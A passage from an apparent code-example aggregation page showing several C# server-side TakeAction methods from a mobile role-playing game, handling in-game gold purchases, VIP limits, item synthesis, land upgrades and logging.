                if (userRestrain != null && userRestrain.Funtion4 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.GouMaiJingLi) && DateTime.Now.Date == userRestrain.RefreshDate.Date)
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    this.ErrorInfo = LanguageManager.GetLang().St1010_JingliFull;
                    return(false);
                }
            }

            int useGold = (GetPayEnergyGold(ContextUser.UserID, ContextUser.VipLv, payType) * addNum).ToInt();

            if (payType == 1)
            {
                if (ops == 1)
                {
                    this.ErrorCode = 1;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1010_PayEnergyUseGold, useGold, energyNum);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.GoldNum < useGold)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }

                    ContextUser.UseGold   = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue);
                    ContextUser.EnergyNum = MathUtils.Addition(ContextUser.EnergyNum, GetEnergyNum(ContextUser.UserID, ContextUser.VipLv, payType), short.MaxValue);
                    if (payNum == 0)
                    {
                        if (userRestrain != null)
                        {
                            userRestrain.Funtion4 = MathUtils.Addition(userRestrain.Funtion4, 1, int.MaxValue);
                        }
                        else
                        {
                            userRestrain             = new UserDailyRestrain();
                            userRestrain.UserID      = ContextUser.UserID;
                            userRestrain.RefreshDate = DateTime.Now;
                            userRestrain.Funtion4    = 1;
                            cacheSet.Add(userRestrain);
                        }
                    }

                    UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 1, 0, userRestrain.Funtion4, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue));
                    FestivalHelper.PurchasedEnergy(ContextUser.UserID);
                }
            }
            else if (payType == 2)
            {
                short payEnergy = GetEnergyNum(ContextUser.UserID, ContextUser.VipLv, payType);
                if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.ZiDongGouMaiJingLi))
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion;
                    return(false);
                }
                if (ops == 1)
                {
                    this.ErrorCode = 1;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1010_PayEnergyUseGold, useGold, payEnergy);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.GoldNum < useGold)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }

                    ContextUser.UseGold   = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue);
                    ContextUser.EnergyNum = MathUtils.Addition(ContextUser.EnergyNum, payEnergy, short.MaxValue);

                    if (userRestrain != null)
                    {
                        userRestrain.Funtion4 = MathUtils.Addition(userRestrain.Funtion4, 1, int.MaxValue);
                    }
                    else
                    {
                        userRestrain             = new UserDailyRestrain();
                        userRestrain.UserID      = ContextUser.UserID;
                        userRestrain.RefreshDate = DateTime.Now;
                        userRestrain.Funtion4    = 1;
                        cacheSet.Add(userRestrain);
                    }

                    UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 1, userRestrain.Funtion4, 1, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue));
                }
            }
            return(true);
        }
Example #15
0
        public override bool TakeAction()
        {
            ItemBaseInfo itemInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(_itemId);

            //UserItemHelper.AddUserItem(ContextUser.UserID, 1702, 1);
            //UserItemHelper.AddUserItem(ContextUser.UserID, 1701, 1);
            //UserItemHelper.AddUserItem(ContextUser.UserID, 1213, 1);
            if (itemInfo == null)
            {
                return(false);
            }
            //判断背包是否已满

            string fullTitle = string.Empty;
            bool   isFull    = false;

            if (itemInfo.ItemType == ItemType.ZhuangBei)
            {
                isFull = UserPackHelper.PackIsFull(ContextUser, BackpackType.ZhuangBei, _num, out fullTitle);
            }
            else
            {
                isFull = UserPackHelper.PackIsFull(ContextUser, BackpackType.BeiBao, _num, out fullTitle);
            }

            if (isFull)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = fullTitle;
                //ErrorInfo = LanguageManager.GetLang().St7004_BeiBaoTimeOut;
                return(false);
            }
            //读取物品信息
            MallItemsInfo mallItemInfo = new ConfigCacheSet <MallItemsInfo>().FindKey(_itemId, CityId, _commandType);

            if (mallItemInfo == null)
            {
                return(false);
            }
            //物品价格
            int mallPrice = mallItemInfo.Price;

            if (mallItemInfo.MallType == ShopType.Props || mallItemInfo.MallType == ShopType.PresendBox)
            {
                mallPrice = (FestivalHelper.StoreDiscount() * mallPrice).ToInt();
            }
            else if (mallItemInfo.SpecialPrice > 0)
            {
                mallPrice = mallItemInfo.SpecialPrice;
            }
            //根据物品类型进行扣钱
            if (_commandType == ShopType.Props || _commandType == ShopType.PresendBox)
            {
                int useGold = mallPrice * _num;
                //if (mallItemInfo.MallType == ShopType.PresendBox)
                //{
                if (ContextUser.GoldNum < useGold)
                {
                    ErrorCode = 3;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }

                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold);
                //增加道具日志统计
                var mallItemLog = new MallItemLog
                {
                    Amount     = useGold,
                    CreateDate = DateTime.Now,
                    ItemID     = _itemId,
                    ItemName   = itemInfo.ItemName,
                    ItemNum    = _num,
                    MobileType = ContextUser.MobileType,
                    Pid        = ContextUser.Pid,
                    PropType   = itemInfo.PropType,
                    RetailID   = ContextUser.RetailID,
                    Uid        = ContextUser.UserID.ToInt()
                };

                var sender = DataSyncManager.GetDataSender();
                sender.Send(mallItemLog);
                UserItemHelper.AddUserItem(ContextUser.UserID, _itemId, _num);
                UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 8, 1, 1, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue));
                //}
                //预留判断消耗的是金币还是晶石
                //else
                //{
                //    if (ContextUser.GameCoin <useGold)
                //    {
                //        ErrorCode = LanguageManager.GetLang().ErrorCode;
                //        ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough;
                //        return false;
                //    }
                //    ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, useGold);
                //    UserItemHelper.AddUserItem(ContextUser.UserID, _itemId, _num);
                //}
            }
            return(true);
        }
Example #16
0
        public override bool TakeAction()
        {
            UserChallengeNum userchallenge = new GameDataCacheSet <UserChallengeNum>().FindKey(ContextUser.UserID);

            int openGold = GetChallengeNum(ContextUser.UserID);

            if (ops == 1)
            {
                this.ErrorCode = 1;
                this.ErrorInfo = openGold.ToString();
                return(false);
            }
            else if (ops == 2)
            {
                if (ContextUser.GoldNum >= openGold)
                {
                    this.ErrorCode      = 2;
                    ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue);
                    int num = 0;

                    if (userchallenge == null)
                    {
                        num = 1;
                        UserChallengeNum userChallengeNum = new UserChallengeNum()
                        {
                            UserID       = ContextUser.UserID,
                            ChallengeNum = 1,
                            InsertDate   = DateTime.Now
                        };
                        new GameDataCacheSet <UserChallengeNum>().Add(userChallengeNum, GameEnvironment.CacheUserPeriod);
                    }
                    else
                    {
                        if (userchallenge.InsertDate.Date == DateTime.Now.Date)
                        {
                            num = MathUtils.Addition(userchallenge.ChallengeNum, 1, int.MaxValue);
                            userchallenge.ChallengeNum = num;
                        }
                        else
                        {
                            userchallenge.ChallengeNum = 1;
                            num = 1;
                        }
                        userchallenge.InsertDate = DateTime.Now;
                    }
                    UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 4, 0, num, openGold,
                                                  ContextUser.GoldNum,
                                                  MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue));
                }
                else
                {
                    //todo 客户端跳转充值页面的特殊值 10
                    this.ErrorCode = LanguageManager.GetLang().RechargeError;
                    this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
            }
            else
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                return(false);
            }
            return(true);
        }
Example #17
0
        public override bool TakeAction()
        {
            UserHelper.ChechDailyRestrain(ContextUser.UserID);
            int wjkNum = 0;
            int subNum = 0;
            int maxNum = VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.WaJinKuang);
            UserDailyRestrain userRestrain = new GameDataCacheSet <UserDailyRestrain>().FindKey(ContextUser.UserID);

            if (userRestrain != null && DateTime.Now.Date == userRestrain.RefreshDate.Date)
            {
                wjkNum = userRestrain.Funtion3;
                subNum = MathUtils.Subtraction(maxNum, wjkNum);
            }
            else
            {
                wjkNum = 0;
                subNum = maxNum;
            }

            if ((userRestrain != null && userRestrain.Funtion3 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.WaJinKuang) && DateTime.Now.Date == userRestrain.RefreshDate.Date))
            {
                ErrorCode = 2;
                ErrorInfo = LanguageManager.GetLang().St1011_WaJinKuangFull;
                return(false);
            }

            int useGold    = GetPayCoinGold(ContextUser.UserID, ContextUser.VipLv, payType);
            int payCoinNum = GetPayCoinNum(ContextUser.UserID, ContextUser.VipLv, payType, ContextUser.UserLv);

            if (payType == 1)
            {
                if (ops == 1)
                {
                    this.ErrorCode = 1;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayUseGold, useGold, payCoinNum, subNum);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.GoldNum < useGold)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }

                    if (ContextUser.GoldNum >= useGold)
                    {
                        int goldNum = ContextUser.GoldNum;
                        ContextUser.UseGold  = MathUtils.Addition(ContextUser.UseGold, useGold);
                        ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, payCoinNum);
                        //ContextUser.Update();

                        if (userRestrain != null)
                        {
                            userRestrain.Funtion3 = MathUtils.Addition(wjkNum, 1);
                            //userRestrain.Update();
                            UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 2, 0, userRestrain.Funtion3, useGold,
                                                          ContextUser.GoldNum, goldNum);
                        }
                    }
                    this.ErrorCode = 0;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayCoinUseGold, useGold, payCoinNum, subNum - 1);
                    return(false);
                }
            }
            else if (payType == 2)
            {
                if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.ZiDongJinRuJinKuangDong))
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion;
                    return(false);
                }
                if (ops == 1)
                {
                    this.ErrorCode = 0;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayCoinUseGold, useGold, payCoinNum, subNum);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.VipLv < 6)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnough;
                        return(false);
                    }
                    if (ContextUser.GoldNum < useGold)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }


                    if (userRestrain != null)
                    {
                        userRestrain.Funtion3 = MathUtils.Addition(wjkNum, 1);
                        //userRestrain.Update();
                    }
                    int gamecoin = GetPayCoinNum(ContextUser.UserID, ContextUser.VipLv, payType, ContextUser.UserLv);
                    ContextUser.UseGold  = MathUtils.Addition(ContextUser.UseGold, useGold);
                    ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, gamecoin);
                    //ContextUser.Update();
                }
            }
            return(true);
        }
Example #18
0
        public override bool TakeAction()
        {
            if (ContextUser.VipLv < 4)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St_VipNotEnough;
                return(false);
            }

            List <UserLand> uLandArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID);

            if (uLandArray.Count < 9)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10010_LandNotEnough;
                return(false);
            }
            if (uLandArray.Count > 0 && uLandArray[uLandArray.Count - 1].IsRedLand == 1)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10010_RedLandFull;
                return(false);
            }

            List <UserLand> landArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsRedLand == 2);
            int             position  = 0;

            if (landArray.Count > 0)
            {
                position = landArray[0].LandPositon;
            }
            else
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough;
                return(false);
            }
            int sumGold = GetPostionUseGold(position);

            if (ops == 1)
            {
                ErrorCode = 1;
                ErrorInfo = string.Format(LanguageManager.GetLang().St10010_UpRedLandUseGold, sumGold);
                return(false);
            }
            else if (ops == 2)
            {
                if (ContextUser.GoldNum < sumGold)
                {
                    ErrorCode = 2;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                UserLand land = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, position);
                if (land != null && land.IsRedLand == 2)
                {
                    if (land.IsRedLand == 2)
                    {
                        land.IsRedLand = 1;
                        //land.Update();

                        ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue);
                        //ContextUser.Update();
                        UserLogHelper.AppenLandLog(ContextUser.UserID, 2, 0, position, sumGold, 0, 0, 0);
                    }
                }
                else
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough;
                    return(false);
                }
            }
            return(true);
        }
Example #19
0
        public override bool TakeAction()
        {
            //List<UserQueue> queueList = new PersonalCacheStruct<UserQueue>().FindAll(ContextUser.UserID, m => m.QueueType == QueueType.MagicStrong);
            //if (queueList.Count > 0)
            //{
            //    if (queueList[0].StrengNum >= 2 && queueList[0].DoRefresh() > 0)
            //    {
            //        ErrorCode = LanguageManager.GetLang().ErrorCode;
            //        ErrorInfo = LanguageManager.GetLang().St1503_MagicColding;
            //        return false;
            //    }
            //}
            magicInfo = new ShareCacheStruct <MagicInfo>().FindKey(magicID);
            if (magicInfo == null)
            {
                return(false);
            }
            int maxMagicLv = ConfigEnvSet.GetInt("Queue.MaxLength");

            UserMagic userMagic = new PersonalCacheStruct <UserMagic>().FindKey(ContextUser.UserID, magicID);

            if (userMagic == null)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St1503_MagicIDNotEnough;
                return(false);
            }
            sumMagicLv = MathUtils.Addition(userMagic.MagicLv, (short)1, (short)100);
            MagicLvInfo magicLvInfo = new ShareCacheStruct <MagicLvInfo>().FindKey(magicID, sumMagicLv);

            if (magicLvInfo == null || userMagic.MagicLv == maxMagicLv)
            {
                guideID = 1;
                //等级已达到最高
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St1503_MaxMagicLv;
                return(false);
            }
            if (ContextUser.UserLv < magicLvInfo.EscalateMinLv)
            {
                //超出用户等级
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St1503_MagicLevel;
                return(false);
            }


            experience = magicLvInfo.ExpNum;
            //codeTime = magicLvInfo.ColdTime;
            if (experience > ContextUser.ExpNum)
            {
                guideID = 3;
                //阅历不足
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = string.Format(LanguageManager.GetLang().St1503_UpgradeExpNum);
                return(false);
            }
            int useGold = 0;

            if (ops == 1)
            {
                if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.EquXiaoChuLengQueShiJian))
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion;
                    return(false);
                }
                useGold = (codeTime / 60);
                if (ContextUser.GoldNum < useGold)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }

                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue);
            }
            else
            {
                //放入队列中
                // List<UserQueue> queueList = new PersonalCacheStruct<UserQueue>().FindAll(ContextUser.UserID, m => m.QueueType ==QueueType.MagicStrong);
                //todo
                //if (queueList.Count > 0)
                //{
                //    UserQueue queue = queueList[0];
                //    if (queue.DoRefresh() > 0 && queue.StrengNum < 2)
                //    {
                //        queue.TotalColdTime = MathUtils.Addition(queue.TotalColdTime, codeTime, int.MaxValue);
                //        queue.ColdTime = MathUtils.Addition(queue.ColdTime, codeTime, int.MaxValue);
                //        queue.IsSuspend = false;
                //        queue.StrengNum = MathUtils.Addition(queue.StrengNum, 1, int.MaxValue);
                //        //queue.Update();
                //    }
                //    else
                //    {
                //        queue.TotalColdTime = codeTime;
                //        queue.Timing = DateTime.Now;
                //        queue.ColdTime = codeTime;
                //        queue.IsSuspend = false;
                //        queue.StrengNum = 1;
                //        //queue.Update();
                //    }
                //}
                //else
                //{
                //    UserQueue userQueue = new UserQueue()
                //    {
                //        QueueID = Guid.NewGuid().ToString(),
                //        UserID = ContextUser.UserID,
                //        QueueType = QueueType.MagicStrong,
                //        QueueName = QueueType.MagicStrong.ToString(),
                //        TotalColdTime = codeTime,
                //        Timing = DateTime.Now,
                //        ColdTime = codeTime,
                //        StrengNum = 1,
                //        IsSuspend = false
                //    };
                //    new PersonalCacheStruct<UserQueue>().Add(userQueue);
                //}
            }

            if (userMagic != null)
            {
                if (userMagic.MagicType == MagicType.MoFaZhen)
                {
                    MagicLvInfo mLvInfo    = new ShareCacheStruct <MagicLvInfo>().FindKey(userMagic.MagicID, userMagic.MagicLv);
                    string[]    mGridRange = mLvInfo.GridRange.Split(',');
                    foreach (string gridRange in mGridRange)
                    {
                        UserEmbattle userEmbattle = new PersonalCacheStruct <UserEmbattle>().FindKey(ContextUser.UserID, userMagic.MagicID, gridRange.ToShort());
                        if (userEmbattle == null)
                        {
                            UserEmbattle embattle = new UserEmbattle()
                            {
                                UserID    = ContextUser.UserID,
                                MagicID   = userMagic.MagicID,
                                Position  = gridRange.ToShort(),
                                GeneralID = 0
                            };
                            new PersonalCacheStruct <UserEmbattle>().Add(embattle);
                        }
                    }
                }

                if (experience < ContextUser.ExpNum)
                {
                    ContextUser.ExpNum = MathUtils.Subtraction(ContextUser.ExpNum, experience, 0);
                    userMagic.MagicLv  = MathUtils.Addition(userMagic.MagicLv, (short)1, (short)maxMagicLv);
                }
                UserLogHelper.AppenStrongLog(ContextUser.UserID, 1, null, magicID, 2, (short)userMagic.MagicLv, useGold, 0);
            }

            List <UserGeneral> userGeneralsArray = new PersonalCacheStruct <UserGeneral>().FindAll(ContextUser.UserID, s => s.GeneralStatus == GeneralStatus.DuiWuZhong && s.GeneralType != GeneralType.Soul);

            foreach (UserGeneral general in userGeneralsArray)
            {
                general.RefreshMaxLife();
            }
            //日常任务-魔术升级
            TaskHelper.TriggerDailyTask(Uid, 4004);
            return(true);
        }
Example #20
0
        public override bool TakeAction()
        {
            short optype             = 0;
            int   qualityID          = 0;
            int   totalNum           = 0;
            var   plantQualitieArray = new GameDataCacheSet <UserPlantQuality>().FindAll(ContextUser.UserID, u => u.RefreshDate.Date == DateTime.Now.Date);

            if (plantQualitieArray.Count > 0)
            {
                totalNum = plantQualitieArray[0].RefreshNum;
            }
            foreach (UserPlantQuality userPlantQuality in plantQualitieArray)
            {
                if (totalNum < userPlantQuality.RefreshNum)
                {
                    totalNum = userPlantQuality.RefreshNum;
                }
            }

            PlantType pType = (PlantType)Enum.Parse(typeof(PlantType), plantType.ToString());

            if (pType == PlantType.Experience)
            {
                optype = 4;
            }
            else
            {
                optype = 5;
            }
            int refreshNum = ConfigEnvSet.GetInt("UserPlant.QualityRefreshNum");
            UserPlantQuality plantQuality = new GameDataCacheSet <UserPlantQuality>().FindKey(ContextUser.UserID, generalID, pType);

            if (plantQuality == null)
            {
                return(false);
            }
            if (plantQuality.PlantQuality == PlantQualityType.Shenhua)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10005_MaxQualityType;
                return(false);
            }

            if (refershID == 1 && ops == 1)
            {
                ErrorCode = 1;
                ErrorInfo = string.Format(LanguageManager.GetLang().St10005_Refresh, GetRefreshNum(ContextUser.UserID, totalNum));
                return(false);
            }
            else if (refershID == 1 && ops == 2)
            {
                if (ContextUser.GoldNum < GetRefreshNum(ContextUser.UserID, totalNum))
                {
                    ErrorCode = 2;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }

                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, GetRefreshNum(ContextUser.UserID, totalNum), int.MaxValue);

                QualityProbabilityInfo probabilityInfo = new ConfigCacheSet <QualityProbabilityInfo>().FindKey(plantQuality.PlantQuality);
                if (RandomUtils.IsHit(probabilityInfo.Light))
                {
                    if (!string.IsNullOrEmpty(plantQuality.UserID) && DateTime.Now.Date == plantQuality.RefreshDate.Date && plantQuality.PlantQuality != PlantQualityType.Shenhua)
                    {
                        qualityID = MathUtils.Addition(Convert.ToInt32(plantQuality.PlantQuality), 1, int.MaxValue);
                    }
                    else
                    {
                        qualityID = 2;
                    }
                    PlantQualityType pQualityType = (PlantQualityType)Enum.Parse(typeof(PlantQualityType), qualityID.ToString());
                    ErrorCode = ErrorCode;
                    ErrorInfo = probabilityInfo.QualityName;
                    if (!string.IsNullOrEmpty(plantQuality.UserID))
                    {
                        UpdatePlantQuailty(plantQuality, pQualityType, totalNum);
                    }
                    else
                    {
                        AppendPlantQuality(pType, pQualityType);
                    }
                }
                else
                {
                    if (!string.IsNullOrEmpty(plantQuality.UserID) && DateTime.Now.Date == plantQuality.RefreshDate.Date && plantQuality.PlantQuality != PlantQualityType.PuTong)
                    {
                        qualityID = MathUtils.Subtraction(Convert.ToInt32(plantQuality.PlantQuality), 1, 0);
                    }
                    else
                    {
                        qualityID = 1;
                    }
                    PlantQualityType pQualityType = (PlantQualityType)Enum.Parse(typeof(PlantQualityType), qualityID.ToString());
                    UpdatePlantQuailty(plantQuality, pQualityType, totalNum);
                }
                UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, 0, GetRefreshNum(ContextUser.UserID, totalNum),
                                           (short)plantQuality.PlantQuality, 0, 0);
            }
            else if (refershID == 2 && ops == 1)
            {
                if (ContextUser.VipLv < 5)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_VipNotEnough;
                    return(false);
                }
                ErrorCode = 1;
                ErrorInfo = string.Format(LanguageManager.GetLang().St10005_Refresh, refreshNum);
                return(false);
            }
            else if (refershID == 2 && ops == 2)
            {
                if (ContextUser.GoldNum < refreshNum)
                {
                    ErrorCode = 2;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                PlantQualityType pQualityType = PlantQualityType.Shenhua;
                if (!string.IsNullOrEmpty(plantQuality.UserID))
                {
                    UpdatePlantQuailty(plantQuality, pQualityType, totalNum);
                }
                else
                {
                    AppendPlantQuality(pType, pQualityType);
                }

                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, refreshNum, int.MaxValue);

                UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, 0, refreshNum, (short)plantQuality.PlantQuality, 0, 0);
            }

            return(true);
        }
Example #21
0
        public override bool TakeAction()
        {
            short        opType            = 0;
            UserItemInfo synthesisUserItem = null;
            var          package           = UserItemPackage.Get(Uid);
            UserItemInfo userItem          = null;

            if (!string.IsNullOrEmpty(_userItemID))
            {
                var userItemList = package.ItemPackage.FindAll(m => !m.IsRemove && m.UserItemID.Equals(_userItemID));
                foreach (var item in userItemList)
                {
                    if (item.ItemStatus == ItemStatus.Sell)
                    {
                        package.RemoveItem(userItem);
                        continue;
                    }
                    else if (item.SoldDate > MathUtils.SqlMinDate)
                    {
                        item.SoldDate = MathUtils.SqlMinDate;
                        //package.Update();
                        userItem = item;
                    }
                    else
                    {
                        userItem = item;
                    }
                }
                if (userItem == null)
                {
                    return(false);
                }
                ItemBaseInfo itemBaseOpType = new ConfigCacheSet <ItemBaseInfo>().FindKey(userItem.ItemID);
                if (itemBaseOpType == null)
                {
                    return(false);
                }
                if (itemBaseOpType.ItemType == ItemType.TuZhi)
                {
                    opType = 1;
                }
                else
                {
                    opType = 2;
                }
            }
            else if (!string.IsNullOrEmpty(_userEquID))
            {
                opType   = 1;
                userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(_userEquID));
            }
            if (userItem == null)
            {
                return(false);
            }
            int genlv = ContextUser.UserLv;
            CacheList <SynthesisInfo> synthesisInfoList = new CacheList <SynthesisInfo>();
            short itemLv = 0;
            List <ItemSynthesisInfo> itemSynthesisArray = new ConfigCacheSet <ItemSynthesisInfo>().FindAll(m => m.SynthesisID == userItem.ItemID); //图纸ID

            if (itemSynthesisArray.Count > 0)
            {
                ItemSynthesisInfo synthesisInfo = itemSynthesisArray[0];
                if (synthesisInfo == null)
                {
                    return(false);
                }
                ItemBaseInfo itemInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesisInfo.ItemID);
                if (itemInfo != null && itemInfo.ItemType == ItemType.ZhuangBei && itemInfo.DemandLv > genlv)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough;
                    return(false);
                }
                List <ItemSynthesisInfo> synthesisArray = new ConfigCacheSet <ItemSynthesisInfo>().FindAll(m => m.ItemID == synthesisInfo.ItemID);//合成物品的材料数组
                if (synthesisArray.Count == 0)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().LoadDataError;
                    return(false);
                }
                int useGold = GetSytnthesisGold(ContextUser.UserID, synthesisInfo.ItemID);
                if (_ops == 1)
                {
                    #region 普通合成
                    if (!GetMaterialsNum(ContextUser.UserID, synthesisInfo.ItemID) && ContextUser.VipLv < 4)
                    {
                        ErrorCode = 3;
                        ErrorInfo = LanguageManager.GetLang().St1603_MaterialsNotEnough;
                        return(false);
                    }
                    if (!GetMaterialsNum(ContextUser.UserID, synthesisInfo.ItemID) && ContextUser.VipLv >= 4)
                    {
                        ErrorCode = 2;
                        ErrorInfo = LanguageManager.GetLang().St1603_MaterialsNotEnough + "," + string.Format(LanguageManager.GetLang().St1603_SynthesisEnergyNum, useGold);
                        return(false);
                    }
                    foreach (ItemSynthesisInfo synthesis in synthesisArray)
                    {
                        ItemBaseInfo itemsInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesis.SynthesisID);
                        if (itemInfo == null)
                        {
                            return(false);
                        }
                        if (!string.IsNullOrEmpty(_userEquID) && synthesis.SynthesisID == userItem.ItemID && itemsInfo != null && itemInfo.ItemType == ItemType.ZhuangBei)
                        {
                            if (userItem.ItemStatus == ItemStatus.YongBing)
                            {
                                //if (UserHelper.IsItemEquSpare(ContextUser, userItem.UserItemID))
                                //{
                                //    ErrorCode = LanguageManager.GetLang().ErrorCode;
                                //    ErrorInfo = LanguageManager.GetLang().St_ItemEquIndexOfSpare;
                                //    return false;
                                //}
                                if (IsLevelNotEnough(ContextUser, userItem.GeneralID, synthesisInfo.ItemID))
                                {
                                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                                    ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough;
                                    return(false);
                                }
                                UserItemHelper.AddItemLog(ContextUser.UserID, userItem.ItemID, userItem.Num, userItem.ItemLv, 9, userItem.UserItemID);
                                synthesisInfoList.Add(new SynthesisInfo()
                                {
                                    DemandID = userItem.ItemID, Num = 1
                                });
                                //package.SyncCache(() =>
                                //{
                                //    userItem.IsRemove = true;
                                //    package.ItemPackage.Remove(userItem);
                                //    package.DelayChange();
                                //});
                            }
                        }
                        else
                        {
                            if (itemsInfo != null && itemsInfo.ItemType == ItemType.ZhuangBei)
                            {
                                synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID);
                                if (IsLevelNotEnough(ContextUser, synthesisUserItem.GeneralID, synthesisInfo.ItemID))
                                {
                                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                                    ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough;
                                    return(false);
                                }
                                //synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID);
                            }
                            else
                            {
                                synthesisInfoList.Add(new SynthesisInfo()
                                {
                                    DemandID = synthesis.SynthesisID, Num = synthesis.DemandNum
                                });
                                UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, synthesis.DemandNum);
                            }
                        }
                    }
                    if (!string.IsNullOrEmpty(_userEquID))
                    {
                        itemLv = MathUtils.Subtraction(userItem.ItemLv, (short)5, (short)1);
                        UpdateUserItem(synthesisInfo.ItemID, userItem);
                        UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                    }
                    else
                    {
                        if (synthesisUserItem != null)
                        {
